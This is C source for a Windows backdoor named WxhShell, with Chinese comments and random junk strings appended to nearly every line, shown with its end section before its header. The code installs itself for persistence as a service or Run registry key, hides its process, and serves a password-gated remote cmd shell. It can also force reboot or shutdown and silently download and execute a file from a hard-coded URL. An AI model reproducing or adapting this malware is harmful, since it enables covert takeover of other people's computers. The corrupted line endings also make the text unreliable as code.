  case 'd': { rm1R^ n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -Z4J?b  
    if(Boot(SHUTDOWN)) I8 8y9sW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `jvIcu5c  
    else { q !EJs:AS  
    closesocket(wsh); D2[uex  
    ExitThread(0); )wCA8  
    } FOM~Uj  
    break; @HMt}zD  
    } :_p3nb[r  
  // 获取shell `a3q)}*Y  
  case 's': { 3k5Mty  
    CmdShell(wsh); bxqXFy/I  
    closesocket(wsh); F2AM/m^!q  
    ExitThread(0); {ylc 2 1  
    break; J,4]d u$  
  } 9K Ih}Q@P  
  // 退出 pvDr&n9  
  case 'x': { HJ !)D~M{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zVGjXuNa  
    CloseIt(wsh); 42Tjbten_u  
    break; zi:GvTG  
    } [j 'Ogm7"  
  // 离开 8}{';k  
  case 'q': { gupB8 .!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gTH1FR8$y  
    closesocket(wsh); T9*\I TA  
    WSACleanup(); JihI1C  
    exit(1); iL/(WAB_od  
    break; >XSe  
        } \-#~)LB]M  
  } % 95:yyH 0  
  } 9bMM-~  
 !|9$  
  // 提示信息 (W5E\hjJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5#80`/w^U  
} Q7N4@w;e  
  } gK-:t  
/21d%T:}  
  return; ]i8K )/  
} >|o-&dk  
mkk74NY  
// shell模块句柄 c1jHg2xim  
int CmdShell(SOCKET sock) }2:bYpYQ  
{ MN$j{+!Q  
STARTUPINFO si; ^;6~=@#*C  
ZeroMemory(&si,sizeof(si)); zt[TShD^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0 u,=OvU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PJAE~|a  
PROCESS_INFORMATION ProcessInfo; j<szQ%tJlI  
char cmdline[]="cmd"; _>dqz(8#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >tr_Ypfv,c  
  return 0; x/[i &Gkv  
} = EyxM  
1 _fFbb"  
// 自身启动模式 ngsax1xO  
int StartFromService(void) it&c ,+8  
{ ^W_}Gd<-#Y  
typedef struct o*qEAy ?  
{ FT[oM<M\Xd  
  DWORD ExitStatus; 0s$g[Fw<.  
  DWORD PebBaseAddress; V*=cNj  
  DWORD AffinityMask; yD#w @yG  
  DWORD BasePriority; \xDu#/^  
  ULONG UniqueProcessId; [9BlP  
  ULONG InheritedFromUniqueProcessId; "2HRuqf  
}   PROCESS_BASIC_INFORMATION; d%t]:41=Z  
umcbIi('  
PROCNTQSIP NtQueryInformationProcess; $- =aqUU  
HoH3.AY X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @Sq=#f/=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7@fd[  
!Ya +  
  HANDLE             hProcess; ~_8Ve\Y^/  
  PROCESS_BASIC_INFORMATION pbi; B 0 K2Uw  
at,Xad\j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tPO.^  
  if(NULL == hInst ) return 0; ?9H7Twi+T  
**_VNDK+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O.& 6J/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q, #M 0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'x+0 yd  
2}$Vi$ R  
  if (!NtQueryInformationProcess) return 0; c`doR(oZ  
**! lV]/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I;P?P5H  
  if(!hProcess) return 0; z9w@-])  
yC+N18y?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K ANE"M   
.Z%7+[  
  CloseHandle(hProcess); px//q4 U  
/D1Bf:'(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gW/H#T,  
if(hProcess==NULL) return 0; ,=$yvZs4[]  
_\@i&3hkx  
HMODULE hMod; Xuh_bW&zF  
char procName[255]; :Jhx4/10  
unsigned long cbNeeded; k`oXo%  
B|:{.U@ne  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i$"FUC~'  
& \<RVE  
  CloseHandle(hProcess); B susXW$  
PO&xi9_  
if(strstr(procName,"services")) return 1; // 以服务启动 lmH!I )5  
rt^z#2$  
  return 0; // 注册表启动 *ivbk /8  
} Zr}`W \  
pxI*vgfN7  
// 主模块 (g7nMrE$j  
int StartWxhshell(LPSTR lpCmdLine) JGj_{|=:  
{ <( BAws(X  
  SOCKET wsl; OR?8F5o?p  
BOOL val=TRUE; /jj!DO#  
  int port=0; _x UhDu%  
  struct sockaddr_in door; Z: T4Z}4N  
ZN1QTb  
  if(wscfg.ws_autoins) Install(); {GHGFi`Z  
yt!K|g  
port=atoi(lpCmdLine); Z#V[N9L  
A8Jbl^7E+  
if(port<=0) port=wscfg.ws_port; _F@FcFG1Z*  
,x{5,K.yWq  
  WSADATA data; h(G&X9*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \GMudN  
/23v]HEPy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,pLesbI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SCGQo.~,  
  door.sin_family = AF_INET; LR9'BUfFv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (/@o7&>*50  
  door.sin_port = htons(port); )s6tj lf8  
;P2~cQjD;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Jt)<RMQ^R  
closesocket(wsl); =602%ef\  
return 1; KJ9~"v  
} ,(c="L4[  
!kV?h5@Bo  
  if(listen(wsl,2) == INVALID_SOCKET) { l" sR\`~  
closesocket(wsl); 8De `.!Gg  
return 1; o,aI<5"  
} e;!<3b  
  Wxhshell(wsl); NoKYHN^*w  
  WSACleanup(); i^QcW!X&  
(qPZEZKx  
return 0; %+pXzw`B  
<78> 6u/W%  
} k?S-peyRO  
)3G?5 OTS  
// 以NT服务方式启动 A@DIq/^xM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Qz$.t>@V=  
{ UI8M<  
DWORD   status = 0; uk\GAm@O  
  DWORD   specificError = 0xfffffff; b%)a5H(  
C y& L,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {ld([  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .S5&MNE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ko, u  
  serviceStatus.dwWin32ExitCode     = 0; Q2fa]*Z5  
  serviceStatus.dwServiceSpecificExitCode = 0; MaMs(  
  serviceStatus.dwCheckPoint       = 0; C}00S{nAZ  
  serviceStatus.dwWaitHint       = 0; 7XwFO0==  
UyF]gO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]\_4r)cN<n  
  if (hServiceStatusHandle==0) return; .0a$E`V=D  
DH 9?~|  
status = GetLastError(); KRXe\Sx  
  if (status!=NO_ERROR) WrG)&&d  
{ p1|@F^Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H>Fy 2w  
    serviceStatus.dwCheckPoint       = 0; CV& SNA  
    serviceStatus.dwWaitHint       = 0; 90ORx\Oeo  
    serviceStatus.dwWin32ExitCode     = status; 4Yn*q~f  
    serviceStatus.dwServiceSpecificExitCode = specificError; q-!m|<Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }NYsKu_cM  
    return; M~"K@g=Wr  
  } `q5*VqIhs  
HX=`kkX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _C*}14 "3  
  serviceStatus.dwCheckPoint       = 0; ,>~9 2  
  serviceStatus.dwWaitHint       = 0; a{-}8f6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `[:f;2(@  
}  Ng-3|N  
Pd@?(WQ  
// 处理NT服务事件,比如:启动、停止 /Wj9Stj5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G4=v2_]  
{ ~Aq UT]l  
switch(fdwControl)  35,SPR  
{ a]ftE\99  
case SERVICE_CONTROL_STOP: Y)!5Z.K  
  serviceStatus.dwWin32ExitCode = 0; "C0oFRk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -bs~{  
  serviceStatus.dwCheckPoint   = 0; h\20  
  serviceStatus.dwWaitHint     = 0; ey Cg *  
  { 3-Ti'xM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YL{LdM-xM  
  } :|fzGf  
  return; QzV:^!0J  
case SERVICE_CONTROL_PAUSE: QiZThAe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7pGlbdS  
  break; 0&w.QoZY(  
case SERVICE_CONTROL_CONTINUE: :ox+WY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aIm\tPbb  
  break; 2?m'Dy'JE  
case SERVICE_CONTROL_INTERROGATE: ND I|;   
  break; ,ur_n7+LH  
}; 1YS{; y[o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !J+5l&  
} _$F I>  
q'1rSK  
// 标准应用程序主函数 EmH2 Dbw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yCm iW %L4  
{ mT)iN`$Y@  
C$?dkmIt  
// 获取操作系统版本 /gPn2e;  
OsIsNt=GetOsVer(); 3 D+dM0wM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >S!QvyM(V  
^Ji5)c  
  // 从命令行安装 ,c7 8O8|  
  if(strpbrk(lpCmdLine,"iI")) Install(); rt."P20T  
Z!ub`coV[  
  // 下载执行文件 0h#' 3z<  
if(wscfg.ws_downexe) { Z,Q)\W<'-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R[Pyrs!H  
  WinExec(wscfg.ws_filenam,SW_HIDE); q,+d\-+  
} _STN^   
P/0n) Q  
if(!OsIsNt) { j4Lf6aUOX  
// 如果时win9x,隐藏进程并且设置为注册表启动 y=q\1~]Z  
HideProc(); )TV'eq  
StartWxhshell(lpCmdLine); QDyL0l{C  
} nC2A&n&>  
else :}j{NM#  
  if(StartFromService())  4INO .  
  // 以服务方式启动 F7L+bv   
  StartServiceCtrlDispatcher(DispatchTable); 4egq Y0A  
else & XcY|y=W  
  // 普通方式启动 8wwD\1pLS  
  StartWxhshell(lpCmdLine); + e4o~ p  
S^~GI$  
return 0; >D*L0snjV  
} +]Ydf^rF  
NbfV6$jo  
-4"E]f  
Oi=kL{DG:s  
=========================================== p"Fj6T2  
LL.YkYu  
q(_pk&/  
4WDh8U  
nV GrW#'E  
\~U8<z  
" rFdovfb   
?!8M I,c/  
#include <stdio.h> r1xN U0A  
#include <string.h> V[A uw3)  
#include <windows.h> NtSa# $A  
#include <winsock2.h> )CEfG  
#include <winsvc.h> ^qYJx  
#include <urlmon.h> !SEg4z  
Svy bP&i|  
#pragma comment (lib, "Ws2_32.lib") BEN=/ v  
#pragma comment (lib, "urlmon.lib") hcwKi  
LbvnV~S  
#define MAX_USER   100 // 最大客户端连接数  Wu9@Ecb  
#define BUF_SOCK   200 // sock buffer yp_:] RE  
#define KEY_BUFF   255 // 输入 buffer (B]rINY|  
mq su8ti  
#define REBOOT     0   // 重启 h0d;a  
#define SHUTDOWN   1   // 关机 1Y\g{A "  
kC0F@'D  
#define DEF_PORT   5000 // 监听端口 TU7Qt<  
LEWeybT  
#define REG_LEN     16   // 注册表键长度 8`kK)iCq  
#define SVC_LEN     80   // NT服务名长度 Mb uD8B  
XeKIue@_  
// 从dll定义API HTvA]-AuM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8( 7DW |\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +P81&CaY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hh4$Qr;R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9JpPas$]  
$9j\sZj&  
// wxhshell配置信息 ; Sq_DP1W  
struct WSCFG { AWc7TW  
  int ws_port;         // 监听端口 YrL:!\p.  
  char ws_passstr[REG_LEN]; // 口令 |fOQm  
  int ws_autoins;       // 安装标记, 1=yes 0=no , 0MDkXb  
  char ws_regname[REG_LEN]; // 注册表键名 8|OsVIe%  
  char ws_svcname[REG_LEN]; // 服务名 pMKnA. |  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fOtL6/?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8:|F'{<<b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AK} wSXF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I!|_C~I`2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .B+R+2uY3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :B6hYx  
(Xi?Y/  
}; YJ3aJ^m#E  
#Huvn4x  
// default Wxhshell configuration :na9PW`TC  
struct WSCFG wscfg={DEF_PORT, nK)U.SZ  
    "xuhuanlingzhe", `rN,*kcP  
    1, I>B-[QEC  
    "Wxhshell", 4U*J{''L  
    "Wxhshell", Om,+59ua*  
            "WxhShell Service", !MOVv\@O  
    "Wrsky Windows CmdShell Service", (:4N#p  
    "Please Input Your Password: ", uK2MC?LP  
  1, b*\K I  
  "http://www.wrsky.com/wxhshell.exe", ! av B&Z  
  "Wxhshell.exe" ?k CK$P  
    }; D .oX>L#:  
^y]CHr  
// 消息定义模块 c,:xm=&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QX1QYwcmG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~k'KS 7c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]v{f!r=}  
char *msg_ws_ext="\n\rExit."; ;!v2kVuS]  
char *msg_ws_end="\n\rQuit."; R'`q0MoN1  
char *msg_ws_boot="\n\rReboot..."; oJA%t-&%R  
char *msg_ws_poff="\n\rShutdown..."; PbvRh~n  
char *msg_ws_down="\n\rSave to "; iC10|0%{  
7Ps I'1v  
char *msg_ws_err="\n\rErr!"; 4Z12Z@A#7  
char *msg_ws_ok="\n\rOK!"; M_<O'Ii3  
meA=lg?  
char ExeFile[MAX_PATH]; ,]+P#eXgE  
int nUser = 0; L}T:Y).  
HANDLE handles[MAX_USER]; f 0A0uU8y  
int OsIsNt; mEyJ o|  
]3u ErnI  
SERVICE_STATUS       serviceStatus; c=p`5sN)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a ;WRTV  
$1y8gm  
// 函数声明 B&ItA76  
int Install(void); SSEK9UX  
int Uninstall(void); .&:y+Oww~  
int DownloadFile(char *sURL, SOCKET wsh); >RZ]t[)y  
int Boot(int flag); {7.."@Ob<v  
void HideProc(void); `z=U-v'H)D  
int GetOsVer(void); O$%M.C'  
int Wxhshell(SOCKET wsl); $O9Nprf  
void TalkWithClient(void *cs); EnnT)qos  
int CmdShell(SOCKET sock); YBqu7&  
int StartFromService(void); uLX5khQ  
int StartWxhshell(LPSTR lpCmdLine); l=,\ h&  
2oyTS*2u_&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kv{uf$X*ve  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rf^ Q%ds  
xOnbY U  
// 数据结构和表定义 |WqEJ*$,  
SERVICE_TABLE_ENTRY DispatchTable[] = r2M Iw  
{ (&HAjB  
{wscfg.ws_svcname, NTServiceMain}, pLjet~2}iJ  
{NULL, NULL} ~47Bbom  
}; >{?~cNO&  
_:DnF  
// 自我安装 |h$*z9bsf  
int Install(void) KE!aa&g  
{ `@1y|j:m  
  char svExeFile[MAX_PATH]; lO3W:,3_a  
  HKEY key; dfl| 6R  
  strcpy(svExeFile,ExeFile); S<HR6Xw  
o=@ 0Bd8  
// 如果是win9x系统,修改注册表设为自启动 d$Y3 a^O|  
if(!OsIsNt) { t\Pn67t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {G$I|<MD2T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zO8`xrN!  
  RegCloseKey(key); mO<sw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wTb7 xBI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1henQiIO  
  RegCloseKey(key); >oSNKE  
  return 0; R1OC7q  
    } {@, } M  
  } 4gbi?UAmX  
} z(V?pHv+  
else { 6$c,#%Jt*  
7ADh  
// 如果是NT以上系统,安装为系统服务 e&%m[:W:<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |TM&:4D]^  
if (schSCManager!=0) |<tZ|  
{ XN65bq  
  SC_HANDLE schService = CreateService b Lag&c)  
  ( >fHg1d2-  
  schSCManager, &U q++f6  
  wscfg.ws_svcname, o_; pEe  
  wscfg.ws_svcdisp, J%}9"Q5  
  SERVICE_ALL_ACCESS, <q|IP_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q M7z .  
  SERVICE_AUTO_START, -wv5c  
  SERVICE_ERROR_NORMAL, G%0G$3W"  
  svExeFile, &* GwA  
  NULL, {];4  
  NULL,  o"J>MAD  
  NULL, O0OBkIj  
  NULL, 7LMad%  
  NULL tKg\qbY&  
  ); b*$/(2"m  
  if (schService!=0) ~3-2Iu^F  
  { 6!P];3&o\A  
  CloseServiceHandle(schService); ^@f%A<  
  CloseServiceHandle(schSCManager); 0w^\sf%s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s 33< }O0  
  strcat(svExeFile,wscfg.ws_svcname); rK&ofc]f$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $jMU| {  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eBiP\  
  RegCloseKey(key); l*]9   
  return 0; /LMb~Hy,  
    } k<W n  
  } $mFsf)1]]?  
  CloseServiceHandle(schSCManager); <K4`GT"n  
} rx`G* k{X  
} L-ans2?  
6ExUNp @U>  
return 1; a,X=!oJ  
} lOp/kGmn+  
Z-[nHSf  
// 自我卸载 cy)b/4h@  
int Uninstall(void) 2y; |6`  
{ o %#Z  
  HKEY key; K0B J  
tMGkm8y-A  
if(!OsIsNt) { s '%KKC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 47I5Y5  
  RegDeleteValue(key,wscfg.ws_regname); mtDRF'>P:  
  RegCloseKey(key); e  iS~*@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x" 21 Jh  
  RegDeleteValue(key,wscfg.ws_regname); ~/?JRL=  
  RegCloseKey(key);  |F5^mpU  
  return 0; L8-  
  } _nu %`?Va  
} N!6{c~^  
} +js3o@Ku{\  
else { bh=d'9B@&J  
.UNh\R?r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t6 :;0[j  
if (schSCManager!=0) {m5tgVi&  
{ W"9iFj X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N{n}]Js1D-  
  if (schService!=0) 6_/oVvd  
  { !ZP1?l30  
  if(DeleteService(schService)!=0) {  |u 8hxa  
  CloseServiceHandle(schService); X;_0"g  
  CloseServiceHandle(schSCManager); c)Ft#vzg&e  
  return 0; #u+BjuZo  
  } 6w{^S~rqo  
  CloseServiceHandle(schService); 2,|*KN*e`W  
  } =y>P>&sI  
  CloseServiceHandle(schSCManager); !v\m%t|.  
} 3}O.B r|  
} g3{)AX[Uy  
e #l/jFJU  
return 1; rN? L8  
} -F,o@5W>Y  
U,/NygB~  
// 从指定url下载文件 b7fP)nb695  
int DownloadFile(char *sURL, SOCKET wsh) ixN>KwH  
{ z79L2lJn  
  HRESULT hr; |7WzTz  
char seps[]= "/"; &|<~J (L;  
char *token; .UbmU^y|  
char *file; qS{lay  
char myURL[MAX_PATH]; ><iEVrpN  
char myFILE[MAX_PATH]; #I9|>XE1  
DoWY*2E  
strcpy(myURL,sURL); bTC2Ya  
  token=strtok(myURL,seps); )>a t]mH  
  while(token!=NULL) BXueOvO8  
  { A`u04Lm7  
    file=token; >VP\@xt(R[  
  token=strtok(NULL,seps); #V-qS/ q"  
  } 9,5v%HZ  
ri~dWx  
GetCurrentDirectory(MAX_PATH,myFILE); `9Ngax=_  
strcat(myFILE, "\\"); mm%w0dOb"  
strcat(myFILE, file); G1B~?i2$ ?  
  send(wsh,myFILE,strlen(myFILE),0); G~)jk+Qq  
send(wsh,"...",3,0); 'ntb.S)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); en7i})v\".  
  if(hr==S_OK) H^"BK-`hs  
return 0; _%l+v  
else pPCxa#OV  
return 1; $V?zJ:a>L  
T,(IdVlJ  
} Rz`<E97-  
93fKv  
// 系统电源模块 `u:U{m  
int Boot(int flag) DMcvu*A  
{ xTD6?X'4  
  HANDLE hToken; O60jC;{F  
  TOKEN_PRIVILEGES tkp; IgEg  
5WP[-J)  
  if(OsIsNt) { 9}X3Q!iFb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mL+}Ka  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ndi'b_Sh\  
    tkp.PrivilegeCount = 1; KtY~Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _wM[U`H}s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]Ke|wRQD  
if(flag==REBOOT) { k}>l+_*+7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 05*_h0}  
  return 0; 'DsfKR^ s  
} &0f7>.y  
else { 2bX!-h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y=9a2 [3Dz  
  return 0; -j3 -H&  
} L3q)j\ ls  
  } "r cPJX  
  else { <)Kjf/x  
if(flag==REBOOT) { T'XAcH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oiO3]P]P  
  return 0; 2EE/xnwX  
} F)e*w:D  
else { "+nURdicO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l=9 &  
  return 0; !dhZs?/UI  
} 9 K$F.{cx  
} %9mB4Fc6b)  
B>X+eK  
return 1; 1sc #!^Oo  
} mm#U a/~1u  
&%u,b~cL?  
// win9x进程隐藏模块 |BH, H  
void HideProc(void) k`)LO`))  
{ M#S8x@U  
pI(FUoP^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >jl"Yr#  
  if ( hKernel != NULL ) a^[io1}-  
  { \<lV),  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0 {{7"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UMhM8m!=o  
    FreeLibrary(hKernel); &[*<>  
  } 08k1 w,6W  
*B:{g>0  
return; 7M;Y#=sR  
} 8x,;B_Zu  
9U}EVpD  
// 获取操作系统版本 (-dJ0!  
int GetOsVer(void) qwFn(pK[  
{ m$LZ3=v%8  
  OSVERSIONINFO winfo; yvDzxu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4vqu(w8 L  
  GetVersionEx(&winfo); R<UjhCvx.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aE{b65'Dt  
  return 1; "6KOql3  
  else Cc Ni8Wg_  
  return 0; sef!hS06  
} 't)j  
fE7WLV2I>  
// 客户端句柄模块 8-?n<h%8E  
int Wxhshell(SOCKET wsl) dJ24J+9}]j  
{ ixKQh};5/  
  SOCKET wsh; :+Dn]:\  
  struct sockaddr_in client; KAsS= `  
  DWORD myID; KMbBow3o*~  
GUN<ZOYb=  
  while(nUser<MAX_USER) *"zE,Bp"  
{  iI ^{OD  
  int nSize=sizeof(client); (/*-M]>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _4E+7+  
  if(wsh==INVALID_SOCKET) return 1; J.?p?-"  
ae!_u \$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }f-rWe{gs>  
if(handles[nUser]==0) IL%&*B  
  closesocket(wsh);  W2^eE9  
else aO<d`DTyJ  
  nUser++; nAts.pVy"  
  } V|a 59 [y?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9h0|^ttF  
> %Y#(_~a  
  return 0; nQ~q -=,L  
} i;dr(c/ft  
X4/r#<Da  
// 关闭 socket =~EQ3uX  
void CloseIt(SOCKET wsh) YYM  
{ (U.&[B  
closesocket(wsh); O0$ijJa|  
nUser--; hR`dRbBi%  
ExitThread(0); R>0ta  Q  
} ?1412Tq5  
+M.|D,wg2  
// 客户端请求句柄 rW6w1  
void TalkWithClient(void *cs) *v5y]E%aW  
{ a9qZI  
g)p[A 4  
  SOCKET wsh=(SOCKET)cs; %##9.Xm6l  
  char pwd[SVC_LEN]; X@D3  
  char cmd[KEY_BUFF];  E;|\?>  
char chr[1]; 5 + Jy  
int i,j; eBN>|mE4N  
R1m18GHQ  
  while (nUser < MAX_USER) { ?41| e+p  
'V>+G>U  
if(wscfg.ws_passstr) { }}xR?+4A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8'quQCx*=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); < 1r.p<s  
  //ZeroMemory(pwd,KEY_BUFF); Rd!.8K[  
      i=0; gSv<.fD"  
  while(i<SVC_LEN) { JC+VG;kcs  
J *B`C^i  
  // 设置超时 EXi+pm  
  fd_set FdRead; u4nXK <KL|  
  struct timeval TimeOut; u}h'v&"e,  
  FD_ZERO(&FdRead); i'u;"ot=  
  FD_SET(wsh,&FdRead); d+w<y~\ q  
  TimeOut.tv_sec=8; lGz0K5P{  
  TimeOut.tv_usec=0; x SUR<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0qZ)$ YKq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +Q9HsfX/  
0VZj;Jg}q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lt]U?VZ   
  pwd=chr[0]; ;|%r!!#-t  
  if(chr[0]==0xd || chr[0]==0xa) { 0t&H1xsxX  
  pwd=0; 2u:j6ic  
  break; ) jvkwC  
  } h ^c'L=dR  
  i++; SM<kE<q#  
    } 7lpVK]  
9..k/cH  
  // 如果是非法用户,关闭 socket &Y>u2OZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SrtmpQ  
}  {MtB!x  
LNb![Rq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 525 >=h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yp)U'8{h c  
K_aN7?#.v`  
while(1) { >KPJ74R  
Hn~1x'$  
  ZeroMemory(cmd,KEY_BUFF); #.)>geLC>9  
["M >  
      // 自动支持客户端 telnet标准   75HL  
  j=0; x(`$D  
  while(j<KEY_BUFF) { z,)sS<t(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 12a #]E  
  cmd[j]=chr[0]; h"ylpv+  
  if(chr[0]==0xa || chr[0]==0xd) { U VKN#"_{  
  cmd[j]=0; ;`B35K  
  break; :ct+.#  
  } qrc/Q;$  
  j++; ~'MWtDe:Z8  
    } d@tr]v5 B  
;Y^RF?un  
  // 下载文件 W wha?W>  
  if(strstr(cmd,"http://")) { JWL J<z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y,yaB)&Ih  
  if(DownloadFile(cmd,wsh)) DcA'{21  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zIFL?8!H9{  
  else cloI 6%5r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #pSOZX  
  } !@ {[I:5  
  else { ]gksyxn3  
